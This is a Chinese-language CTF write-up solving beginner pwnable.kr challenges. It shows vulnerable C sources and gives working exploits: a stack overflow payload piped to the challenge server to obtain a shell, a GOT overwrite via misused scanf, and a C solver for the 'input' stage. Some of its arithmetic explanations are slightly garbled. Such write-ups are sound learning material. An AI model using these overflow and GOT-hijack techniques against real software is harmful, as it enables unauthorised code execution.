1. 程式人生 > >pwnable.kr解題write up —— Toddler's Bottle(一)

pwnable.kr解題write up —— Toddler's Bottle(一)

1. fd

#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

ssh連結上後,發現當前目錄有一個setuid的fd可執行檔案以及其原始碼,還有一個flag檔案。原始碼邏輯比較簡單,讀取一個檔案,若讀入內容和LETMEWIN一致,則列印flag中的內容。其中,檔案描述符是由使用者輸入的。查閱檔案IO相關API,可以找到,0,1,2分別是代表的stdin,stdout和stderr,所以只要是檔案描述符為0,就可以輸入指定內容了。

2. collision

#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
	int* ip = (int*)p;
	int i;
	int res=0;
	for(i=0; i<5; i++){
		res += ip[i];
	}
	return res;
}

int main(int argc, char* argv[]){
	if(argc<2){
		printf("usage : %s [passcode]\n", argv[0]);
		return 0;
	}
	if(strlen(argv[1]) != 20){
		printf("passcode length should be 20 bytes\n");
		return 0;
	}

	if(hashcode == check_password( argv[1] )){
		system("/bin/cat flag");
		return 0;
	}
	else
		printf("wrong passcode.\n");
	return 0;
}

輸入20個字元,然後這20個字元會被分成5段,每段當成int處理,進行求和,結果為0x21DD09EC就可以通過。這個題目通過程式設計,把它的邏輯反過來寫,可以很容易得到目標輸出。

3. bof

#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        printf("%x\n", key);
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}
從原始碼可以看出,目標是通過gets方法,改寫掉key的值。使用gdb開啟,輸入幾個a作測試,可以找到輸入地址和目標地址。計算可以得到相差52個位元組。


另外,編譯時,啟用了canary作溢位保護。不過這個保護機制是當函式返回的時候才會被觸發,而system已經被執行了,因此無法即使阻止。

命令:(python -c 'print("a"*52+ chr(0xbe) + chr(0xba) + chr(0xfe) +chr(0xca))'; cat) | nc pwnable.kr 9000

PS:不大明白cat的作用是什麼,但是如果不用的話,就會被canary檢測到溢位,從而程式被中止,無法獲取shell。

4. flag

需要對一個可執行檔案進行逆向分析。開始嘗試各種工具(IDA,gdb,objdump)都不好使,好來看了別人的writeup,才知道是經過UPX打包了。google了一下,知道檢測upx打包的方法是查詢UPX!或者UPX0的存在,用strings一看,果然最後兩行是UPX!。於是下載upx工具,直接解包,工具就都可以使用了。

直接執行程式,可以得到提示I will malloc() and strcpy the flag there. take it.。彙編碼如下:

可以看出main函式確實執行了malloc,因此,只需要斷點到main函式末尾,然後列印malloc得到的地址即可。這裡使用x/s $rax即可得到flag。

6. passcode

#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}

可以看見,scanf被誤用了,導致沒辦法正確的給passcode1和passcode2賦值。不過,可以看到,該函式首先呼叫了welcome函式,並接受了一個100個字元的輸入,可以用來預先構造棧。通過gdb,可以得到name的地址為-0x70(%ebp),passcode1為-0x10(%ebp),passcode2為-0xc(%ebp)。因為在welcome中,只接收了一個100個字元的輸入,因此,只能給passcode1賦值,無法直接改變passcode2。於是直接修改passcode1和passcode2的值,滿足if條件,是不可行的了。

但是,通過控制passcode1的值,配合scanf,可以做到任意位置寫入4個位元組。通常來說,是需要修改函式返回地址的。但是,在這個程式中,如果條件不滿足,就直接呼叫exit退出,不存在出棧的過程。於是,就只能採用另一種手段,通過修改plt,引導exit的呼叫到system處,就可以執行了。(在C中,當程式需要呼叫library中的函式時,程式會到plt中去尋找跳轉的地址。例如,在本例中,執行exit的語句為call   0x8048480 <[email protected]>, 其中0x8048480就是指向的plt表格,而在plt中,對應地址的指令為jmp    *0x804a018,即為尋找exit真實的地址,並跳轉的exit處。)在這裡,只需要將0x804a018地址的值指向system,就可以執行目標語句了。

命令: python -c "print('a'*96 + chr(0x18) + chr(0xa0) + chr(0x04) + chr(0x08) + '134514147')" | ./passcode

7. random

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!\n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
}

使用rand時,如果不提供一個隨機種子,就會產生一樣的結果,這就是偽隨機的效果。因此,用gdb執行這個檔案,在rand後打下斷點,打印出random的值為0x6b8b4567。0x6b8b4567^0xdeadbeef=3039230856,就是結果了。

8. input

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

這題邏輯上比較簡單,一部分一部分的來通過就行了。考慮到需要引數,環境變數的特殊性,這題使用execve比較合適。

stdio是個難點,看了別人的答案後才知道,需要使用dup2強行關閉stdin和stderr,替換成自己想要開啟的檔案。

socket部分直接使用原來程式碼,稍加修改就可以通過了。

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

int main(){
        char *argv[101];
        char *envp[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
        int i;
        int fd1,fd2;

        for(i=0;i<100;i++){
                argv[i] = "A";
        }
        argv[100] = NULL;
        argv[0] = "input";
        argv['A'] = "\x00";
        argv['B'] = "\x20\x0a\x0d";
        argv['C'] = "55555";
        if(fork() == 0){
                int err;
                int fd = open("\x0a", O_RDWR|O_CREAT,0644);
                write(fd, "\x00\x00\x00\x00", 4, 1);
                close(fd);

                fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644);
                fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644);
                dup2(fd1,0);
                dup2(fd2,2);
                write(fd1, "\x00\x0a\x00\xff", 4);
                write(fd2, "\x00\x0a\x02\xff", 4);
                lseek(fd1,0,SEEK_SET);
                lseek(fd2,0,SEEK_SET);
                printf("executing\n");
                err=execve("/home/input/input", argv, envp);
                printf("%d\n", err);
                printf("%s\n", strerror(errno));
        }else{
                int sd, cd;
                struct sockaddr_in saddr, caddr;
                sleep(5);
                printf("connecting\n");
                sd = socket(AF_INET, SOCK_STREAM, 0);
                if(sd == -1){
                        printf("socket error, tell admin\n");
                        return 0;
                }
                saddr.sin_family = AF_INET;
                saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
                saddr.sin_port = htons( atoi(argv['C']) );
                connect(sd, (struct sockaddr *)&saddr, sizeof(saddr));
                send(sd, "\xde\xad\xbe\xef", 4, 0);
                close(sd);
        }
}


9. leg

#include <stdio.h>
#include <fcntl.h>
int key1(){
	asm("mov r3, pc\n");
}
int key2(){
	asm(
	"push	{r6}\n"
	"add	r6, pc, $1\n"
	"bx	r6\n"
	".code   16\n"
	"mov	r3, pc\n"
	"add	r3, $0x4\n"
	"push	{r3}\n"
	"pop	{pc}\n"
	".code	32\n"
	"pop	{r6}\n"
	);
}
int key3(){
	asm("mov r3, lr\n");
}
int main(){
	int key=0;
	printf("Daddy has very strong arm! : ");
	scanf("%d", &key);
	if( (key1()+key2()+key3()) == key ){
		printf("Congratz!\n");
		int fd = open("flag", O_RDONLY);
		char buf[100];
		int r = read(fd, buf, 100);
		write(0, buf, r);
	}
	else{
		printf("I have strong leg :P\n");
	}
	return 0;
}

程式碼如下,屬於彙編碼分析。直接目標就是獲取key1,key2和key3的返回值。呼叫部分的彙編如下
   0x00008d68 <+44>:	bl	0x8cd4 <key1>
   0x00008d6c <+48>:	mov	r4, r0
   0x00008d70 <+52>:	bl	0x8cf0 <key2>
   0x00008d74 <+56>:	mov	r3, r0
   0x00008d78 <+60>:	add	r4, r4, r3
   0x00008d7c <+64>:	bl	0x8d20 <key3>
   0x00008d80 <+68>:	mov	r3, r0
   0x00008d84 <+72>:	add	r2, r4, r3

可以看出,返回值都是儲存在r0中的。下面一個一個來分析
(gdb) disass key1
Dump of assembler code for function key1:
   0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cd8 <+4>:	add	r11, sp, #0
   0x00008cdc <+8>:	mov	r3, pc
   0x00008ce0 <+12>:	mov	r0, r3
   0x00008ce4 <+16>:	sub	sp, r11, #0
   0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008cec <+24>:	bx	lr
關鍵指令就是0x8cdc,可以看出pc的值就是返回結果。通過文件,可以知道,當處於arm狀態時,pc的值為當前指令加8,thumb狀態時,pc的值為當前指令加4。狀態轉換是由blx或者bx指令來進行轉換的。因此,當前pc的值為0x8cdc+8。
(gdb) disass key2
Dump of assembler code for function key2:
   0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008cf4 <+4>:	add	r11, sp, #0
   0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
   0x00008cfc <+12>:	add	r6, pc, #1
   0x00008d00 <+16>:	bx	r6
   0x00008d04 <+20>:	mov	r3, pc
   0x00008d06 <+22>:	adds	r3, #4
   0x00008d08 <+24>:	push	{r3}
   0x00008d0a <+26>:	pop	{pc}
   0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
   0x00008d10 <+32>:	mov	r0, r3
   0x00008d14 <+36>:	sub	sp, r11, #0
   0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d1c <+44>:	bx	lr
和key1類似,先是從pc中獲取值。不過注意到,在獲取pc值之前,執行了指令bx r6,因此狀態發生了改變,此時pc的值應當為0x8d04+4。指令0x8d06又將r3加了4,所以最終結果為0x8d0f+4+4。
   0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
   0x00008d24 <+4>:	add	r11, sp, #0
   0x00008d28 <+8>:	mov	r3, lr
   0x00008d2c <+12>:	mov	r0, r3
   0x00008d30 <+16>:	sub	sp, r11, #0
   0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
   0x00008d38 <+24>:	bx	lr
key3的返回結果為lr,查詢可知lr儲存的是返回地址。因此就是跳轉到key3指令的下一條,0x8d80。

三者相加,即可得到最終結果。

相關推薦

pwnable.kr解題write up —— Toddler's Bottle

1. fd #include <stdlib.h> #include <string.h> char buf[32]; int main(int argc, char* argv[], char* envp[]){ if(argc<2){

RISE UP —計算機組成原理

 第一個問題:什麼是計算機?                    現在特指電子計算機,即能夠告訴運轉的電子裝置,目的是用於資料的計算,是對使用者的輸入進行加工,根據使用者的需求和要求進行加工,最後輸出一個結果。 第二個問題:從上面所述的這個簡單的定義來說,猜測一下有哪些

pwnable.kr [Toddler's Bottle]

寫在最前: 想要成為安全大牛的願望還是這麼遙不可及。 漸漸地,沒有什麼憂慮的大學生活也好像開始有了一些屬於小人物的忐忑。 還是堅信自己很厲害,可是道路前方仍是一篇迷濛。 感謝幫助過我的前輩,以及讓我可以暫時不考慮經濟壓力的父母。 I have

[UVALive7261]A - Xiongnu's Land 二分

while continue 大於 並且 輸出結果 net lan include != 題目鏈接:https://vjudge.net/problem/UVALive-7261 題意略 三個步驟: 1.二分滿足左邊綠洲面積大於等於右邊綠洲面積,並且使左邊面積盡可能大的分割

HDU 4415 Assassin&#39;s Creed貪心

all ria put space clas name 它的 tor problem pid=4415">HDU 4415 題意: 壯哉我Assassin! E叔有一柄耐久度為m的袖劍,以及n個目標士兵要去解決。 每解決掉一個士兵,消耗袖劍Ai的

POJ 3069 Saruman's Army 貪心

依次 至少 一個 ide mage != cnblogs style man 題目大意:直線上有N個點,點i的位置是Xi,從這N個點中選取若幹,給他們加上標記,對每一個點,其距離為R以內的區域內必須有被標記的點。求至少需要多少個點被標記。 題目思路:設最左邊的點:點p的

POJ 3128 Leonardo's Notebook 置換

gif telling freopen for each align lock 需要 text page Leonardo‘s Notebook Time Limit: 1000MS Memory Limit: 65536K Total Submission

A Knight's Journey DFS

rpe for pos sca board around span this osi Background The knight is getting bored of seeing the same black and white squares again and a

HDU 6043 KazaQ's Socks 規律

n-1 cnblogs sample swe 順序 裏的 this c-s close Description KazaQ wears socks everyday. At the beginning, he has nn pairs of socks numbered

C/S權限系統

ati 臨時 day adapt 通用 lda pri userinfo selected 父窗體的代碼: 擴展Enter鍵相當於Tab鍵的思路: 1.創建 窗體的父類2.在父類中重寫Form中的ProcessCmdKey方法,在相關控件上按回車鍵相當於按了Tab 鍵3

Hyperledger Fabric CA User’s Guide——CA用戶指南

targe har 格式 rect ocs form per ces guid Fabric CA用戶指南 Hyperledger Fabric CA是一種用於Hyperledger Fabric的認證機構(CA)。 它提供了如下特性: 登記身份(註冊ID),或者連接到作

獨家!了不起的UP系列產品,不一樣的開發板—UP Board

英特爾公司 操作系統 hat 擴展 pin 物聯 gpo post 開發板 AAEON自2016年推出第一代UP board問世以來,其信用卡大小的苗條小身材(世界首創Intel平臺信用卡大小開發板),配備上Intel? Atom? x5-z8350 處理器,兼容樹莓派4

【HDOJ5640】King's Cake數論

nbsp std namespace cas algo ima iostream turn tdi 題意: 思路: 1 #include<cstdio> 2 #include<cstdlib> 3 #include<iostream

javascript基礎修煉(2)——What‘s this

模式 ron con 組成 更多 urn 封裝 語法錯誤 講解 javascript基礎修煉(2)——What‘s this(上) 開發者的javascript造詣取決於對【動態】和【異步】這兩個詞的理解水平。 [TOC] 一.this是什麽 this是java

POJ 2348 Euclid's Game博弈題解

tac pan tps 題意 \n sin typedef esp cstring 題意:有a,b兩個數字,兩人輪流操作,每次可以選擇兩個之中較小的數字,然後另一個數字減去選擇數字的任意倍數(不能減到負數),直到其中一個為0,不能操作為敗 思路:這題用博弈NP思想,必敗點和

0x16 HCNP-R&S BGP原理詳解

自治系統(AS):由同一個技術管理機構管理、使用統一選路策略的一些路由器的集合。   IGP 內部閘道器協議 運行於AS內部 著重於發現和計算路由 主要有:RIP、OSPF、ISIS

Let's ChatZOJ

                         

POJ - 1904 King's Quest tarjan

Once upon a time there lived a king and he had N sons. And there were N beautiful girls in the kingdom and the king knew about each of his sons which

TZOJ--1247: Hat's Fibonacci大數

1247: Hat's Fibonacci  時間限制(普通/Java):1000MS/10000MS     記憶體限制:32768KByte 描述 A Fibonacci sequence is calculated by adding th

Python C/S 網路程式設計之 三種方法實現天氣預報小程式

1. 首先明白下協議棧和庫的概念: 協議棧(Protocol Stack): 是指網路中各層協議的總和,其形象的反映了一個網路中檔案傳輸的過程:由上層協議到底層協議,再由底層協議到上層協議。 庫(Library):主要用來解析要使用的網路通訊協議,包含Python內建標準庫